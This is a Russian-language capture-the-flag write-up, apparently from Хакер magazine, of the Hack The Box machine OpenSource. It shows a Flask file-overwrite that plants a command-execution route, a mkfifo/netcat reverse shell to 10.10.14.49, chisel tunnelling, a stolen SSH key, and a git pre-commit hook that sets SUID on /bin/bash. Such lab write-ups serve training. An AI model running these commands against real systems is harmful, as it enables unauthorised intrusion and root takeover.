Хакер - HTB OpenSource. Атакуем удаленный хост через Git

Хакер - HTB OpenSource. Атакуем удаленный хост через Git

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе мы сна­чала покопа­емся в репози­тории Git, что­бы най­ти учет­ные дан­ные, а затем обна­ружим уяз­вимость, которая даст нам дос­туп к хос­ту. При повыше­нии при­виле­гий реали­зуем одну из тех­ник GTFOBins.

Зах­ватывать мы будем тре­ниро­воч­ную машину OpenSource с пло­щад­ки Hack The Box, оце­нен­ную как лег­кая.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.164 opensource.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Nmap нашел все­го два откры­тых пор­та: 22 — служ­ба OpenSSH 7.6p1 и 80 — веб‑сер­вер Python Werkzeug 2.1.2; а так­же порт 3000, который филь­тру­ется. Пос­мотрим, что нам может показать веб‑сер­вер.

Глав­ная стра­ница сай­та opensource.htb

 

ТОЧКА ВХОДА

Ви­дим ссыл­ку для ска­чива­ния фай­ла. По наз­ванию архи­ва можем понять, что это какие‑то исходные коды.

Пред­ложение ска­чать архив

В архи­ве есть каталог .git, по которо­му мы дол­жны про­гулять­ся.

Со­дер­жимое архи­ва

Рас­паку­ем архив и зай­дем в каталог, содер­жащий репози­торий Git. Пос­ле это­го прос­мотрим сущес­тву­ющие вет­ки.

git branch

Вет­ки Git-репози­тория

Те­перь получим исто­рию ком­митов, по которым в даль­нейшем прой­дем­ся.

git log dev

Ис­тория ком­митов

Те­перь прос­матри­ваем каж­дый ком­мит в надеж­де най­ти важ­ные дан­ные. И в одном из них обна­ружи­ваем URL прок­си‑сер­вера с ука­зан­ными учет­ными дан­ными.

git show a76f8f75f7a4a12b706b0cf9c983796fa1985820

Ком­мит с учет­ными дан­ными

Боль­ше в репози­тории ничего не находим, поэто­му начина­ем изу­чать исходный код при­ложе­ния.

Со­дер­жимое фай­ла static/views.py

Как видишь, мы можем заг­ружать фай­лы с любым рас­ширени­ем. Сра­зу бро­сает­ся в гла­за фун­кция os.path.join — стро­ка 14. Пос­ледова­тель­ность ../ филь­тру­ется, что не поз­волит записать свой SSH-ключ поль­зовате­лю, даже если мы узна­ем путь. Одна­ко файл сох­раня­ется с тем же име­нем без вся­ких вре­мен­ных меток, что дает нам воз­можность переза­писы­вать сущес­тву­ющие фай­лы. 

ТОЧКА ОПОРЫ

Да­вай поп­робу­ем переза­писать текущий файл, добавив в его конец свой обра­бот­чик, к при­меру /ralf.

@app.route('/ralf')

def ralf():

return os.system(request.args.get('cmd'))

Ссыл­ку на стра­ницу для заг­рузки фай­ла най­дем чуть ниже кноп­ки ска­чива­ния репози­тория.

Фор­ма заг­рузки исходных кодов
Фор­ма для заг­рузки фай­лов

Заг­рузим наш новый файл view.py и перех­ватим зап­рос на заг­рузку в Burp Intercept.

Пе­рех­вачен­ный зап­рос на заг­рузку фай­ла

Для переза­писи фай­ла изме­ним filename и вмес­то views.py запишем пол­ный путь к это­му фай­лу — /app/app/views.py.

Из­менен­ный зап­рос на заг­рузку фай­ла

Ког­да все будет готово, отпра­вим зап­рос даль­ше на сер­вер. На стра­нице получим сооб­щение, что заг­рузка прош­ла успешно.

Со­обще­ние об успешной заг­рузке фай­лов

Те­перь мы можем выпол­нять коман­ды и сра­зу поп­робу­ем запус­тить реверс‑шелл:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4321 >/tmp/f

Я выпол­нял зап­рос через curl, поэто­му мне нуж­но было закоди­ровать реверс‑шелл в кодиров­ку URL. Burp Encoder закоди­рует абсо­лют­но все сим­волы, а не толь­ко спе­циаль­ные. Это не очень удоб­но, поэто­му я прос­то встав­ляю текст в Burp Repeater и кодирую ком­бинаци­ей кла­виш Ctrl-U. Одна­ко сго­дит­ся и любой дру­гой метод.

curl 'http://opensource.htb/ralf?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4321 >/tmp/f'

Ис­ходная коман­да curl

curl 'http://opensource.htb/ralf?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.49+4321+>/tmp/f'

За­коди­рован­ная коман­да curl

Ос­талось коман­дой rlwrap -cAr nc -lnvp 4321 запус­тить лис­тенер и выпол­нить коман­ду для запус­ка реверс‑шел­ла.

Сес­сия поль­зовате­ля

ПРОДВИЖЕНИЕ

По име­ни поль­зовате­ля понима­ем, что находим­ся внут­ри кон­тей­нера Docker. Даль­нейший путь прод­вижения дол­го искать не при­ходит­ся: вспо­мина­ем про филь­тра­цию под­клю­чений к пор­ту 3000. Сна­чала про­верим адрес докер‑машины, а потом уже поп­робу­ем под­клю­чить­ся к пор­ту 3000 хос­товой.

Ре­зуль­тат выпол­нения коман­ды ifconfig
Об­ращение к пор­ту 3000 с помощью curl

Для удоб­ной работы через бра­узер нам нуж­но тун­нелиро­вать тра­фик. Я буду исполь­зовать chisel, который нуж­но запус­тить как на локаль­ном хос­те, в качес­тве сер­вера, так и на уда­лен­ном — как кли­ент. В парамет­ре сер­верной час­ти ука­зыва­ем, что ожи­даем под­клю­чения (парамет­ры --reverse), а так­же порт для соз­дания тун­неля.

chisel.bin server --reverse --port 8000

Ло­ги сер­верной час­ти

Те­перь на уда­лен­ной машине ини­циали­зиру­ем кли­ент­скую часть. В парамет­рах ука­зыва­ем адрес сер­вера chisel и порт для под­клю­чения, а так­же нас­трой­ки прок­сирова­ния.

chisel.bin client 10.10.14.49:8000 R:3000:172.17.0.1:3000

Ло­ги кли­ент­ской час­ти

В логах сер­вера дол­жны уви­деть сооб­щение о соз­дании сес­сии.

Ло­ги сер­верной час­ти

Та­ким обра­зом, весь тра­фик, который мы пош­лем на локаль­ный порт 3000, будет тун­нелиро­ван на порт 3000 ука­зан­ного хос­та (в дан­ном слу­чае 172.17.0.1) через докер‑машину. Теперь откро­ем сайт в бра­узе­ре и уви­дим Git.

Глав­ная стра­ница сай­та на пор­те 3000

Вос­поль­зовав­шись учет­ными дан­ными, которые мы наш­ли в репози­тории, авто­ризу­емся на сай­те.

Глав­ная стра­ница сай­та пос­ле авто­риза­ции

Пе­рехо­дим к единс­твен­ному дос­тупно­му репози­торию и видим бэкап домаш­него катало­га поль­зовате­ля.

Со­дер­жимое Git-репози­тория

Ко­неч­но же, нас инте­ресу­ет при­ват­ный ключ SSH.

Со­дер­жимое катало­га .ssh
SSH-ключ поль­зовате­ля dev01

Ко­пиру­ем его на локаль­ный хост, коман­дой chmod 0600 id_rsa наз­нача­ем необ­ходимые пра­ва и под­клю­чаем­ся с этим клю­чом уже к основно­му хос­ту.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пер­вым делом я, как обыч­но, поис­кал все сом­нитель­ные нас­трой­ки и поль­зователь­ские скрип­ты с помощью мно­гок­ратно упо­минав­шегося в моих рай­тапах LinPEAS, но ничего не нашел.

Сле­дующий шаг — монито­ринг запус­каемых при­ложе­ний. Что­бы най­ти запус­каемые в сис­теме про­цес­сы, будем исполь­зовать ути­литу pspy64. Заг­рузим ее на хост при помощи wget, а потом выпол­ним.

В выводе отме­чаем исполь­зование коман­ды git, при­чем от име­ни при­виле­гиро­ван­ного поль­зовате­ля (нулевой UID — это root).

Вы­вод ути­литы pspy64

Тут я обра­тил­ся к GTFOBins. Это база тех­ник, которые поз­воля­ют повысить при­виле­гии при помощи стан­дар­тных при­ложе­ний Linux. В час­тнос­ти, есть тех­ника исполь­зования Git, которая поз­воля­ет получить ста­биль­ную обо­лоч­ку в при­виле­гиро­ван­ном кон­тек­сте. Нам она под­ходит, толь­ко вмес­то кон­тек­ста sudo у нас будет кон­текст поль­зовате­ля root.

Опи­сание тех­ники sudo GTFOBins для Git

Здесь исполь­зует­ся перех­ватчик Git, который свя­зан с pre-commit. То есть мы можем записать свой скрипт в файл ~/.git/hooks/pre-commit, и код выпол­нится при выпол­нении коман­ды git commit. В качес­тве метода пер­систен­тнос­ти будем уста­нав­ливать S-бит фай­лу коман­дной обо­лоч­ки /bin/bash.

# echo "chmod u+s /bin/bash" >> ~/.git/hooks/pre-commit

mv ~/.git/hooks/pre-commit.sample ~/.git/hooks/pre-commit

Со­дер­жимое фай­ла pre-commit

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Пра­ва фай­ла /bin/bash

Как видишь, S-бит уста­нов­лен, поэто­му повыша­ем кон­текст и забира­ем флаг.

/bin/bash -p

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page